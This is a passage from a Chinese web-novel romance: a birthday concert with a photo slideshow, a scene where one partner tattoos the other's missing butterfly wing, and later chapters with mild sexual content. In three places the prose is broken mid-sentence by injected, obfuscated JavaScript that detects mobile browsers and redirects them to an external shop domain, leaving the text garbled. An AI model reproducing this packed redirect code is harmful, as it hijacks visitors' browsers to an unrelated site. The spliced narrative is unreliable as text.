罗子昂第一个起身朝声音处走去,还拉上其他几个小弟,刚走了一步,喊其他人:“走,听歌去。” 车行旁搭了一个舞台,舞台上不知何时装饰了一番,黑色的幕布上悬着一圈彩色小灯,四周贴着蓝白色的气球,组成摩托车的形状,气球中心空着,显得有些空,总觉得少了什么。 舞台上,程佑白边弹吉他边唱着歌,时清正弹着键盘,鼓手是苏漾,贝斯手是赵恒。 “清白乐队”的每个人都到齐,在这里为他演唱生日歌。 这次跟上次在包厢里的感觉完全不同,那时,空间没这么大,虽然屋里开着空调,但会有点闷。 现在不同,在室外空旷的场地,天空繁星闪耀,吹来阵阵凉风,身边有驰路,时光似乎在此刻抽出新芽、开出新花,万物都复苏。 下一首是谢劲舟作词的那首《去看看太阳》。 《去看看太阳》 风沙呼啸着响 落日升了又降 月光照耀谁的脸庞 谁又赢了万丈星光 哪片烟火乍亮 哪朵白云游荡 星辰照出谁的陈伤 野风吹散谁的惆怅 …… 你要穿越光阴、穿越风沙 穿越命运的高墙 看候鸟南迁 看大雁北往 你要冲破枷锁、冲破牢笼 冲破生命的荒唐 去看看太阳 去有你的远方 …… 主歌部分沉缓,副歌部分激昂,有种蓬勃向上的力量,好似斩断了命运的荆棘,穿越了命运的高墙,看到了远方和太阳。 在人群中,谢劲舟悄悄握住了驰路的手,在她耳边说:“你什么时候把我写的歌词透露出去的?” 驰路不答反问:“喜不喜欢?” 谢劲舟一下一下摩挲着驰路的手心:“谢谢你,阿驰。我很喜欢!” 谢劲舟不知还能说什么,谢谢驰路为他做的这些,每一个都为他定制,每一个都深得他心。 人群中的许婉、罗子昂纷纷化身为程佑白、时清的头号粉丝,在台下为他们鼓掌呐喊。 沈倩倩看着握着手的两个人,眼睛有些酸胀,很快移开眼。 站在她旁边的岑语欢说:“倩倩,你现在放弃挺好的。” 沈倩倩吸了吸鼻子:“为什么?” 岑语欢说:“谢劲舟这种人啊,谁都驯服不了,谁都走不进他的心,他是草原上尽情奔跑的野马,能驯服他的,至今也只有驰路。” “我看别人说的根本就不对。” “什么不对?” “舟哥根本不是浪子,他不是只喜欢嫂子吗。”沈倩倩认识了谢劲舟六年,追了他六年,以为会用自己的真心打动他,让他接受自己,到最后才发现,真心是打动不了人的,能打动人的,是彼此的爱。 “这么快就叫嫂子啦。”岑语欢笑,“你舟哥,你不认识他的时候,他确实是浪子,身边的女朋友换了一个又一个,那些女朋友以为他喜欢她们,但我能看出来,他谁都不喜欢,他不过是太孤独了。能让他回头的,只有驰路。” …… 这首歌结束前,谢劲舟的眼睛被驰路蒙上了一块眼罩,他不知道她要做什么,她只跟他说:“等会儿有人帮你解。” 谢劲舟的世界瞬间陷入黑暗,等适应了,抬头看,能感受到舞台前的那点光,穿透黑布射过来。 “阿驰,阿驰……”谢劲舟轻轻地喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560849|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰路的名字,却没有回应。 他伸出手臂想去摸摸驰路还在不在,但他摸到的只是一场空。 谢劲舟忽然有点慌,但也不能在人群中表现出来,他轻声喊出的“阿驰”被舞台上的声音盖住。 他怕这是一场美梦,现在是该醒来了吗? 蒙着眼睛的他,仿佛走入一条黑暗的隧道,耳边的一切都消了音,伸手不见五指,他什么都看不见,什么都听不到。 他孤零零一个人,走在这条隧道里,他想走入光里,身后却有一只手,一直拽着他往下坠。 那么多的掌声,那么多的荣耀,那么多“别人家的孩子”,都离他越来越远,最后,与他无关。 他从“别人家的孩子”,堕落为“千万不要成为他那样的人”。 他学会了反抗,学会了用拳头说话,学会了怎么去当小团体里那头最狠戾的狼。 生活没了色彩,活着没了意义,他走上一条不归路。 明知前方是歧途,却一条道走到黑。 他试着在风暴中起舞,试着让自己保持原则,哪怕在躁期,他烦躁得想要无缘无故地揍人,但最后只是把拳头狠狠地砸在墙上,砸到手上全是血。 一个个女生想要接近他,要他的联系方式,他烦躁得要命,却也只是冷冷地找理由拒绝:“我有女朋友了。” 身边的女生换了一个又一个,从来没有投入真心,分手时,听得最多的说他“冷漠无情”。他是浑蛋,他是冷漠无情,他更不懂爱。 他浑蛋了两年,下坠了两年,每天都过得如同行尸走肉,那些白天里的繁华和喧闹,在夜深人静时,全都消散,化成更深刻的孤独。 他给心上了一把锁,谁都无法打开。 他一直在黑暗的隧道里行走,没人提一盏灯,他也不想提灯。 闷头往前走,每条道都布满荆棘,他也不砍断,任由荆棘划破他的身体。 他知道他的命就这样了,他逃不开谢鸿运,也逃不开老妈去世后的深深自责,一辈子都逃不开。 就这样下坠吧,坠得粉身碎骨也无所谓,反正他已经活在烂泥里,出不来了。 直到有人跟他说: “没有谁生来就要活在烂泥里,也没有谁生来就会被世界遗弃。” “你可以不用活在烂泥里,你也不是被世界遗弃的那个。既然你要在风暴中起舞,那就舞出生命的意义!” 谢劲舟才知道,他可以不用活在烂泥里,他也可以活在阳光下。 她带着他,一步步走出黑暗的隧道,一步步走进阳光下。 如果不是她,他会一直被困在芳町镇,会继续浑浑噩噩地活着。 可她闯入了他的世界,帮他辅导功课,在他考试有进步时,送他人生中最贵的一只打火机。 他是有伤口的人,他破碎不堪,她却有耐心地,一点点地缝合他的伤口,拼凑他的破碎,让他晦暗不明的世界,终于窥见曙光。 他答应她,要跟她一起考北京的大学,他们要在同一座城市。 所以,他复读了一年,拼了命地学习,不过是想去她的城市,哪怕他们早就在人海中走散。 但她是他的一盏灯,是他的精神寄托,是他的信仰。 靠着这盏灯,他考去了她所在的城市,偷偷去看了她七十八次。 他曾把自己弄丢了,是她帮他找回了那个遗失的自我。 是她打开了他的心门,她是打开他心门的唯一的钥匙。 那把钥匙去哪里了? 他想找到她,他要她就在他身边。 他不要再走进黑暗隧道了。 因为,见过光有多耀眼的人,就不想再走进黑暗。 谢劲舟想要一把扯掉眼罩时,响起男声:“舟爷,可以摘开眼罩了。” 随着谢劲舟摘眼罩的动作,耳边响起一阵婉转的旋律。 谢劲舟一抬头,看到舞台上的程佑白正弹着吉他,吉他的旋律婉转悠扬。 旋律格外耳熟,谢劲舟想起了之前驰路送给他的洋桔梗音乐盒,跟那里面的旋律一样。 随之响起键盘声、贝斯声、鼓声,还有独特的金属质地的嗓音。唱着谢劲舟从未听过的歌—— 夏夜中谁能借我萤火 驱赶望不到头的阴谋 寒冬里谁能点燃一束烟火 照耀见不到底的忧愁 世上有这么多丑陋 我怎么解命运绳索 月亮如钩太阳如火 却都不属于我 好想防守好想有人将我拯救 你来了借我一片萤火 驱赶望不到头的阴谋 你来了点燃一束烟火 照耀见不到底的忧愁 你将我收留将我拯救 带我走出黑暗的魔咒 一起去栾花巷路口 信步漫游你愿意与我牵手 迷局中谁能为我解惑 击退势不可挡的脆弱 穷途里谁能教我不堕落 种下善有善报的因果 世上有那么多磊落 我怎么破命运枷锁 月亮如钩太阳如火 也可以属于我 好想邂逅一场人声鼎沸的拯救 你来了为我解惑 击退势不可挡的脆弱 你来了教我不堕落 种下善有善报的因果 你将我收留将我拯救 带我奏响光明的独奏 一起去沙漠看日落 天地辽阔你为我赴汤蹈火 我是蝴蝶你是一叶舟 你与晚风合谋 次次与我邂逅 用温暖将我浸透 你的存在是最大温柔 我愿与你携手 一起看漫天烟火 一起走进我们的国 蝴蝶飞过一叶舟 浪子终究会回头 谢谢你为我停留 给予我无尽自由 歌名《蝴蝶飞过一叶舟》。 133. 小谢同学哭了 「十八岁的盛夏,是独特的、炙热的。 因为,我遇见了比风还肆意的少年。 蝴蝶陨落,是你托住了我。 蝴蝶少了墓志铭,是你点亮了我的眼睛。 我不后悔那么晚遇见你,也不后悔我们分离。 因为,岁月可以证明,短暂的爱意,也足已写下一首首如梦令。」 ——《小蝴蝶的星光》 舞台上射灯的光打在鼓手身上,鼓手不再是苏漾,而是驰路,她穿着黑色皮衣,挥舞着鼓槌,唱着歌,一刀切的黑色头发随之舞动,浑身透出酷飒的气场,拥有颠倒众生的魅力。 他找到他的光了,她就在舞台上,比光还耀眼,比星辰还璀璨,是光芒万丈的太阳。 谢劲舟的视线一直看着驰路,她抬头,穿越人群,直直地与他的视线相撞,他似乎能感到有火星从两人的眼眸中溅出来,灼热,滚烫,比盛夏更炙热。 “舟爷,别光看驰妹,你看看屏幕。”罗子昂在一旁提醒谢劲舟。 谢劲舟看向屏幕,瞬间怔住。 一帧帧画面,缓慢翻过,像穿越宇宙洪荒,终于来到他面前。 每一帧都带着深深的岁月痕迹,泛黄的老照片,缺角的老照片,黑白的老照片,照片上的小孩,一个个,都是他。 从1岁到10岁,从10岁到20岁,从20岁到24岁。 一共24张,都是谢劲舟。 是不同时期的谢劲舟。 穿着红色肚兜露出一截截藕一样手臂的谢劲舟。 穿着开裆裤侧身走得像只企鹅的谢劲舟。 穿着胸前印着可爱小狗短袖T恤的谢劲舟。 穿着胸前印着奥特曼长袖的谢劲舟。 …… 穿着小学校服的谢劲舟。 穿着初中校服的谢劲舟。 穿着高中校服的谢劲舟。 …… 穿着黑色背心的谢劲舟。 穿着黑色短袖的谢劲舟。 穿着黑色长袖的谢劲舟。 …… 小时候,他的头发还是黑的、软的、长的,笑容是纯真的。 长大一点,他的头发短了,笑得不自在了。 再长大一点,他染了一头雾霾蓝的头发,脑袋右侧多了一道“X”,耳朵上多了耳挂、耳钉,脖颈处多了一串字母纹身,不笑了。 后来,上大学,雾霾蓝的头发掉色成灰绿色。 实习期间,一头张扬的雾霾蓝头发没了,是正正经经的黑色。 而今年的谢劲舟,又染回雾霾蓝的头发,脸上又有了笑容。 每张照片旁都有一行字: 祝一岁的谢劲舟健康长大。 祝两岁的谢劲舟天天快乐。 祝三岁的谢劲舟平平安安。 祝四岁的谢劲舟尽情玩耍。 祝五岁的谢劲舟不要懂事。 祝六岁的谢劲舟不要长大。 祝七岁的谢劲舟适应学校。 祝八岁的谢劲舟交到朋友。 祝九岁的谢劲舟活得有趣。 祝十岁的谢劲舟无忧无虑。 祝十一岁的谢劲舟笑得坦荡。 祝十二岁的谢劲舟活得恣意。 祝十三岁的谢劲舟适应学校。 祝十四岁的谢劲舟交到朋友。 祝十五岁的谢劲舟中考顺利。 祝十六岁的谢劲舟适应学校。 祝十七岁的谢劲舟交到朋友。 祝十八岁的谢劲舟遇见驰路。 祝十九岁的谢劲舟高考顺利。 祝二十岁的谢劲舟适应学校。 祝二十一岁的谢劲舟敢爱敢恨。 祝二十二岁的谢劲舟活得自在。 祝二十三岁的谢劲舟万事胜意。 祝二十四岁的谢劲舟找回自己、活在当下、梦想成真。 一张张被尘封的老照片,此刻穿越光阴,再次来到谢劲舟眼前,让他处于一种恍惚之中。 那些小谢劲舟,仿佛是他,又不是他。 多久没看到小谢劲舟了? 那本泛黄的相册,他多久没有翻过了?自从老妈过世,那本老相册便成了他心中的痛,他不愿再触碰,不愿把自己拉回有老妈的过去。 既然他的未来,再也没有老妈了,他就不允许自己回头看。 那些旧时光,都被他刻意封存。 他以为这样自己就不会再去舔舐伤口,却在这次看到这些老照片时,赫然发现,原来自己也曾拥有过那么多的快乐时光。 他不是一下子长大的,他也跟别的小孩一样,从小苗一点点长大。 只是,他已经忘了他是怎么长大了,也忘了他是何时变得不爱笑了。 驰路为他准备了这场“旧时光投影”,上面有老照片,也有对他二十四年的生日祝福。 四岁之后,没有再度过的生日,在这一刻,都被补齐。 是他的蝴蝶赠予他的盛大贺礼。 心头如绽放无数礼花,砰砰砰地在心尖上炸开,比火焰还闪耀,照亮了他之前所有晦暗不明的时光。 手无寸铁的小孩,也是被人疼着的。 迷茫无助的少年,也是被人关心着的。 独来独往的困兽,也是被人惦记着的。 原来,这世上不只是神明会守护他的信徒,信徒也会守护他的神明。 听着驰路唱的歌,看着屏幕上缓慢滚动的照片,谢劲舟的鼻头泛酸,胸腔里也酸酸胀胀的。 风怎么吹这么大,他的眼睛都快睁不开了。 眼睛里的热意越来越浓,谢劲舟不得不仰头,头顶是漆黑的夜幕,夜幕上坠着一闪一闪的星星。 热意被憋回去,谢劲舟的眼睛却是红的,他看着舞台上的驰路,她比星光还璀璨。 歌到最后,屏幕上循环播放的照片变了,是一张谢劲舟骑着深蓝色摩托车的照片,照片上配字: 祝一岁到二十四岁的谢劲舟生日快乐! 谢谢你来到这个世界! 你是风光霁月,是锦绣山河,是千千万万美好词汇的组合,更是命运送给我最好的礼物。 我爱你!我们爱你! 配字一行一行地出现,驰路对着话筒,一句句念出,情深意切。 周围有瞬间的寂静,但很快响起尖叫声、祝福声、鼓掌声。 谢劲舟却什么都听不见,也什么都看不见,他的眼睛越来越模糊,挤压在心头的酸胀如潮水般涌出来,滚烫的液体从眼眶里掉落,止也止不住。 他不得不侧过身去,抬头擦眼泪,却越擦越多。 “哭包小谢,生日快乐!” 谢劲舟吓得赶紧胡乱擦眼泪,手却被人拉住。 驰路抬手,帮她擦眼泪:“被感动了?” “谁被感动了!”谢劲舟嘴硬,“风大大了,吹得眼睛疼。” 驰路也不揭开他的谎,难得见他哭一次,红着眼睛的他,哪里还有芳町镇大佬的难驯模样,完全是一只可怜小狗。 “到你上台了,说几句吧。”驰路握了握他的手。 谢劲舟没想到还有他上台的环节,听到程佑白喊他上台,他只好走过去。 他还陷在方才被感动的情绪中,不知道要说点什么。 等到上台,看着台下的驰路、谢奶奶、谢林乔、罗子昂他们时,心头袭上浓烈的感动:“谢谢驰路帮我组织这场生日宴会,谢谢每位朋友的参加,谢谢奶奶和小乔的陪伴。谢谢你们,一直没嫌弃我,一直都在我身边,陪着我长大。” “是你们,给了我这场永生难忘的二十四岁生日派对。” “我浑蛋过、坠落过,但在我十八岁那年,有个人拽住了我,将我从黑暗隧道里拉了出来。” “她让我知道,这个世界不只有黑夜,也有白天,还有无数升起的太阳。” “她缝补了我破碎的世界,让我知道,在风暴里,是可以起舞的。” “我之所以能走到今天,成为现在的我,都是因为她。” “谢谢你,驰路!往后的每个生日,希望你都能跟我一起过。” 话音刚落,罗子昂带头鼓掌起哄:“驰妹,驰妹,快上台,说说看你愿意吗?” 站在舞台下方第一排的驰路,本来还是个看客,被罗子昂这么一起哄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们靠在一辆红白色的摩托车前,驰路问他:“舟哥,这生日礼物,要不要?” 谢劲舟摸着车前刻的那行字,勾唇:“都刻上我名字了,能不要。” 星空下,谢劲舟把驰路搂进怀里,捏住她的下巴,俯身吻她的唇。 时光仿佛在这一刻静止,驰路感觉自己成了谢劲舟生命里最美妙的注脚。 我们不再被任何人定义,我们是彼此的浪漫主义。 …… 摩托车前的那行字写着:XJZ,Soulfreedom。 在缠绵的吻中,驰路的声音带着微微喘息:“舟哥,祝你灵魂自由。” 谢劲舟勾起她柔软的舌,狠狠地吻她,吻向更深处。 …… 少年重回人间,不囿于过往,灵魂得到释放,从此,自由。 灵魂自由的少年,终于走出了方寸山,找到了他弄丢的蝴蝶,也找到了自己。 逆着光生长,是一场困顿的荒唐,一旦斩断荆棘、穿过迷茫,便能找到爱与信仰。 少年重新找回爱与信仰,里面住着数不完的盛夏,还有一只光芒万丈的蝴蝶。 他的蝴蝶,飞回来了! * 昨晚,驰路被谢劲舟折腾到很晚才睡,等她醒来时,身体酸软,睁眼,窗外的阳光已经漫进屋里。 又是一个艳阳天。 抬手摸枕边,却是空的,谢劲舟什么时候起床了? 驰路听到隔壁谢劲舟跟谢林乔的说话声,她摸过手机,一看,已经十点半,微信里弹出好些新消息。 她隐约记得昨晚自己卡着十二点发了一条朋友圈,还@Z。 驰路打开朋友圈,看自己发的一条仅谢劲舟可见的朋友圈。 燕尾蝶 人生变化莫测,你要无所畏惧,也要灵魂自由。 如果你下坠了,可以过来找我,我愿意托住你。 我成不了你的所向披靡,却可以带你一起去找寻活着的意义。 24岁的谢劲舟生日快乐,祝你许的关于蝴蝶和小船的愿望能够成真! 下面多了一条评论。 我许的愿望是: 希望我的蝴蝶可以拥有翅膀,飞向更高的远方,她的远方,有繁花锦簇的前程,还有我。 驰路抬手摸了摸身侧空着的地方,还是温热的。 像她此刻跳动的心脏,布满天光。 134. 给小蝴蝶文文身 「所有破碎的蝴蝶,都是一颗陨落的心脏。 它睡在深渊里,睡在无人问津的灵魂上。 蝴蝶不分高下,岁月会为每个拼搏的灵魂加冕。 而我,会为我的蝴蝶,补另一半翅膀。 让她甩掉陈伤,让她飞翔,让她的生命有力量。 草木亘古长青,我对你的爱生生不息。」 ——《小船靠岸》 国庆节期间,驰路一天没闲着,不是被许婉拉着去看“清白乐队”的演出,就是被谢劲舟拉去参加他的哥们聚会。 过了国庆,该上班的去上班了,该上学的去上学了,栾花巷32号又安静下来。 驰路好不容易彻底闲下来,研读路漫发过来的几个剧本。 除此之外,她每天都会骑着自行车送谢林乔一起去学校,放学了也会接她回来。 谢劲舟跟她说:“阿驰,小乔不是小孩了,你不用天天接送她上下学。” 驰路依然推着那辆买了有七年的自行车,跟谢林乔一起上下学,她说:“我不是接送她,我这是锻炼身体,天天宅家里,没有运动,会变胖的。” 谢劲舟知道她在扯谎,也不跟她争辩,随她去吧。她在这里,一点也没放松对身材的管理,每天至少练一个小时以上的瑜伽。 谢劲舟接的华扬艺术馆的设计签了合同,方案正在设计中。 这样的日子,似流水般过得很快,一晃到十月十八号,谢劲舟跟驰路说,要不要去静心小屋待上几天。 静心小屋,那是独属于他们的静谧空间,是他们的另一个家。 驰路欣然前往。 这次,谢劲舟开着驰路送他的那辆红白色摩托车,载着她去往静心山。 那天,晴空万里,山坡上开了一簇一簇的小黄花,不远处还有一束束随风摇摆的洋桔梗。 枝头的鸟儿飞了又来,绿色的草地已开始泛黄,红色果子挂满枝头。 她的手被谢劲舟紧紧牵着,一路踏着秋色,来到了静心小屋。 把屋里屋外收拾一番,已是夕阳西下,霞光染满山坡,映照在远处的静心湖上,洒了层层潋滟的光。 天地间,鸟语花香,时光静好。 谢劲舟喊她进屋,让她趴在沙发上,驰路不知道他要做什么,疑惑地站着:“为什么要趴着?你要做什么?” 谢劲舟拽着她的手坐到沙发上:“你还记得一件事吗?” “什么事?”驰路看着谢劲舟郑重其事的样子,想不起来是什么事。 “阿驰,你不是要文另一半翅膀文身。” “所以……”驰路看着茶几上多出的一台纹身机,睁大眼睛,惊道,“你给我文?” “可以吗?”谢劲舟的语气里带着一丝征询。 “有什么不可以。”翅膀破碎太久了,是时候变完整了。 …… 驰路像只乖顺的小猫,趴在沙发上,她脱了外套,身上只穿着一件黑色蕾丝吊带,衬得她白皙的肌肤,如同冷白的瓷器。 夕阳透出窗户,斜斜地洒在她的背上,染了层薄薄的光,仿佛置身在画报里的性感少女。 吊带只堪堪遮住一小片背,露出她凸起的蝴蝶骨,还有右边的蝴蝶翅膀。 一只手忽然抚上了她的蝴蝶骨,一寸寸地摸着,惹得她心尖儿发颤。 他指腹的纹路扫过她的肌肤,袭来一阵酥麻感,继而,滚烫的呼吸洒在她的蝴蝶骨上,柔软覆盖,一点点吻着,从蝴蝶骨到蝴蝶文身,吻得那般温柔,跟平日里粗野对待她的谢劲舟判若两人。 他似乎把她奉若神明,每一次亲吻,都是一次灵魂的抵达。 谢劲舟用右手搂住她的腰肢,把她托住,左手帮她脱掉黑色蕾丝吊带,只剩下里面的内/衣。 驰路双手环住胸,红了脸颊,心猛烈跳动。 即使他们已经做过情侣间最亲密的事,但每次青天白日,被他这样看着,她都觉得好羞涩。 这一点都不像她的作风,一点都不豪爽。 但没办法,在他面前,她像一只羞涩的纯情小猫。 “放松。”谢劲舟将吊带扔到沙发扶手上,轻轻地抚摸着她的蝴蝶文身,试图让她紧绷的身体放松下来,“疼的话就说。” …… 为了这次文身,谢劲舟做足了功课,在网上查了大量的资料,又去文身店请教了认识的兄弟操作流程,特意借来了纹身机,提前搬来了。 文身前做了些准备工作,消毒,上麻药。 打开纹身机前,谢劲舟握住驰路攥紧的手:“阿驰,要不然不文了。” 他舍不得他的蝴蝶疼。 “没事,我就是有点紧张。”驰路深呼吸了下,努力让自己放松。 “怕疼,还是怕我不专业,给你文坏了?” “都不是。”驰路握紧谢劲舟的手,“我不怕疼,也不怕不专业,我的紧张源自,通往完整的路,真的要降临了吗?” “嗯。”谢劲舟俯身吻了下她薄薄的眼皮,“我会帮你文另一半翅膀。” 文身机在驰路左边肩膀上描着线,细细麻麻的疼意袭来,驰路没有皱一下眉。 她的生命中,经历过无数的伤痕和疼痛,这点疼对她来说,微乎其微,却切实地让她感到自己还活着,活得还挺好。 十五岁那年,她掉进深渊,是杀死千允的罪魁祸首,被众人谩骂,被人泼脏水,被父母怪责、关进小黑屋。 她不向现实屈服,不向父母低头。 她一身反骨,逆鳞生长。 谁都别想管她,谁也管不了她。 她背负莫须有的罪名,而真相不会有人相信,有谁会相信小太妹没有杀人? 她浑浑噩噩地苟活,上课时分,每条街上几乎都能看到她大摇大摆的身影,后面跟着一群小弟。 她的坠落,被父母判定为精神不正常,被关进了精神病院,度过了虽然短暂却极其黑暗的一段日子。 从精神病院出来后,在一个下着雪的隆冬时节,她走进一家文身店,在后背上文了一只破碎的燕尾蝶,在右脚踝上文了飞舞的小蝴蝶和希腊语的自由。 在精神病院的那段时光,不仅囚禁了她的身体,也囚禁了她的灵魂,她成了名副其实的囚徒。 她跟艾嘉想过无数种怎么逃离那里的办法,但最终还是被抓了回去,受到的惩罚一次比一次严重。 她是牢笼里的困兽,无论如何,都挣脱不开困住她的枷锁。 燕尾蝶,象征着自由。 她从精神病院出来时,抬头看着蓝天白云,明明跟精神病里看到的是一样的,心境变了,眼前的景似乎也变了。 她呼进的不是空气,每一口,都是自由。 她把燕尾蝶刻在身上,记录那段破碎的时光,记录那个破碎的自己。 她从没有想过完整,因为断翅蝴蝶就是她,她飞不高的,也飞不远的。 可是,谢劲舟却跟她说“我会帮你文另一半翅膀”。 这完全出乎驰路的预料,她没想到他会亲手给她文另一半翅膀。 …… 从描线到上色,驰路并没有觉得时间有多漫长,但等谢劲舟给她上完药说“好了”的时候,她发现外面的天色已经黑了。 “走,我抱你去房间,看看效果怎么样。” “不用了,我自己去。”驰路从扶手上扯过吊带,遮在胸前。 她看到谢劲舟扯起唇角,笑得意味深长。 “笑什么!”驰路瞪他。 谢劲舟一把将她抱起,扛到肩膀上,拍了下她的臀,语气里带着几分戏弄:“害什么羞,你从头到脚,我哪里没看过。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560851|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 驰路的脸愈发红了。 卧室的墙上,挂了一面复古的实木镜子。 六年前,谢劲舟亲手为她打造的【玫瑰蝴蝶】镜子还在,只是沾染了岁月的痕迹,原木色的边框泛着斑驳。 驰路站在桌前,背靠桌子,由于镜子是为了方便坐时用的,悬挂得较低,驰路要弯腰才能看到镜子里的自己。 她这样弯腰的姿势,很容易累。 这时,驰路被人忽然一把揽住腰,轻松一提,被抱到桌上,她吓了一跳。 “这样方便看。”谢劲舟看着镜子里她后背的那片纹身。 现在,驰路只要侧头微微俯视,便能看到镜子里的自己。 后背上红了一片,上面涂了一层薄薄的药。 左半边破碎的翅膀,不再破碎,终于完整。 她久久地凝视着,那些好的不好的画面如电影般,在她脑中浮现。 她曾深陷泥潭,断了半只翅膀,无法飞翔。 是谢劲舟亲手给她文了另一只翅膀。 她终于拥有了一对完整的翅膀。 她的鼻头忽然泛酸,眼眶也红红的,看着镜子里的谢劲舟,声音沉缓:“舟哥,谢谢你。” 谢谢你在六年前义无反顾地收留我。 谢谢你愿意做我唯一的神明,一次次将我拯救。 谢谢你做我的男朋友,让我知道,爱不是玩玩而已,爱也可以真诚以待。 谢谢你在六年后,还愿意做我可以停靠的小舟。 …… 驰路抬手,一点一点地摸着刚刚文好的左半边翅膀文身,从上到下,再从下到上,每一个触摸过的地方,都火辣辣的疼,尖锐的,锋利的,细针似的扎着她,沿着她的表层皮肤,一直扎到她的心尖。 那些破碎的、不堪的过往,终于可以告别了! 她告别了过往,告别了摘不掉的枷锁,告别了被遗弃的人生,也告别了那个在黑暗中踽踽独行的自己。 她努力了很久,终于打碎了曾经那个活在黑暗中的自己,重新蜕变成新的自己。 六年时间,她凭着自己一往无前的勇气和努力,如蚕,破茧而出,化茧成蝶,重获新生,也重获自由。 心间酸涩渐浓,眼泪禁不住滑落。 谢劲舟双手环绕住她的腰,吻她脸颊上的眼泪,泪水温热:“阿驰,你找到另一半的翅膀了,没有人可以阻止你飞往自由地带,你可以飞向更高的远方了。” 他吻过的每一处,如同羽毛轻轻扫过,又痒又灼热。 驰路抱住谢劲舟,把脑袋用力地埋进他的颈窝,深深嗅着独属于他的阳光般的皂香味,金属嗓音含混着一丝哑:“舟哥,谢谢你帮我找到了另一半翅膀。我的另一半翅膀,是勇气,是坚强,是打不败的硬骨头,还有……是你。” 谢劲舟揽住她的肩膀,跟她拉开一点距离,盯着她红了的眼睛,神色认真,语气宠溺:“阿驰,你不用谢我。因为,你的另一半翅膀,是你自己找到的。” 这六年,虽然谢劲舟不在她身边,但没有一天不在关注她的新闻,她有多努力,有多拼命,他比谁都了解。 只是遗憾,这六年,他没有陪在她身边。 谢劲舟抬手,轻轻擦掉她脸上的泪痕,声音沉却坚定:“阿驰,你不用再活在黑暗里了,你可以站在聚光灯下,被鲜花和掌声包围;你可以走进光里,被星星和太阳照耀;你可以煽动翅膀,飞往更高处;你也可以被人疼、被人爱,我的驰宝,我永远爱你!” 愿你做一只自由飞舞的蝴蝶,停留在我左肩。 我不会甘拜下风,会永远做追随你的神明。 为你扬帆万里、披荆斩棘,爱到荼蘼。 喜欢早已埋下伏笔,我的心脏早已属于你。 你是我的蝴蝶,是人间的一场盛宴。 135. 重回十八岁【正文完】 「我们本是少年郎,不惧风霜,不惧荒唐。 我们生来就不该被审判,不该成为谁的臣。 我们生来就该站在山巅,生来就该花漫天。 我们不是卑微的蝼蚁,我们是自由飞翔的雄鹰。 又是一年盛夏,少年依旧热烈,依旧扶摇直上。 少年还是彼时少年,鲜衣怒马,爱意无疆。 我的灵魂,炙热滚烫;我的爱,光芒万丈。 少年,值得拥有玫瑰,也值得拥有蝴蝶。 喜欢是朝暮,爱是救赎。 Z,你是我的朝暮,也是我的救赎。」 ——《小蝴蝶的星光》 驰路文过身的左背,在谢劲舟的每天细心照料下,恢复得挺快也挺好,没有出现发炎的情况,只是结了痂,有的地方开始掉痂,样子不好看,驰路常常躲着不让他看。 他们在静心小屋待了一周,在计划下山的那天早上,谢劲舟带驰路来到了林寒梅墓前。 前几天一直断断续续下着雨,那天早上,意外是个晴天,墓碑上落了几片枯黄的叶子,墓碑前的绿草也黄了一片。 谢劲舟看着墓碑上林寒梅的照片,声音变得比平时低沉了几分:“妈,我来看你了,我的公司不会倒闭了,我接到一个不错的项目,在设计了。我还演电影了,没想到吧,虽然大家都觉得我不当明星很可惜,但演员不好当,如果不是因为驰路,我不会去演。” 谢劲舟牵起驰路的手:“妈,跟你介绍一下,这就是我跟你常常提起的那个姑娘,她叫驰路,她长得漂亮吧、身材也好吧。很多很多人喜欢她,但她只喜欢你儿子。” 他的唇角不自觉地上扬,脸上洋溢幸福的笑。 “她是驰老师,也是驰大明星,她还是我的蝴蝶。” “妈,我找到我的蝴蝶了。以后,我不会把她再弄丢,我会好好抓住她!” * 转眼到十月底,院子里的那棵栾树的枝头还挂着一簇簇红灯笼似的果子,有的果子掉在地上,像给大地披了红妆。 驰路背上文身的痂已经掉了,露出好看的蝴蝶文身。 她没想到谢劲舟竟文得那么好,跟右半边翅膀对称。 后天就要回京了,她拽着谢劲舟来到了芳町镇的一家最好的照相馆。 “带我来这里做什么?” “你帮我文身,我请你拍情侣照,要不要?”驰路的狐狸眼朝他一眨,笑得妩媚又倾城。 “不要!”谢劲舟转身就要走。 谢劲舟不喜欢拍照,生日派对那天在投影上放的照片,也是驰路好不容易从他家里的老相册里、罗子昂、岑语欢那里找到的,他的照片很少,也都是日常照,没有一张艺术照。 驰路连忙拽住了他的胳膊,用撒娇的口吻跟他说:“你不是答应过我,什么都听我的吗?” 谢劲舟蹙眉,他什么时候说过这话了? “拍照,可以留作纪念,纪念再也回不去的时光。”驰路继续试着劝说,“以后我们的孩子看到,会说,哇,爸爸妈妈年轻的时候长这样啊。” 谢劲舟心念一动,附在她耳边说:“这么想要孩子啊,下次要不不做安全措施。” “谢劲舟!”驰路咬牙瞪他。 她不想劝说了,没劲,转身就要走,却被谢劲舟抓住手腕:“我拍。” 驰路不为所动。 谢劲舟低沉的声音软了几分:“阿驰,我拍还不行吗。” 像只摇尾乞怜的小狗。 …… 驰路这次请的是上次帮她跟邵忱拍杂志照的许摄影师。 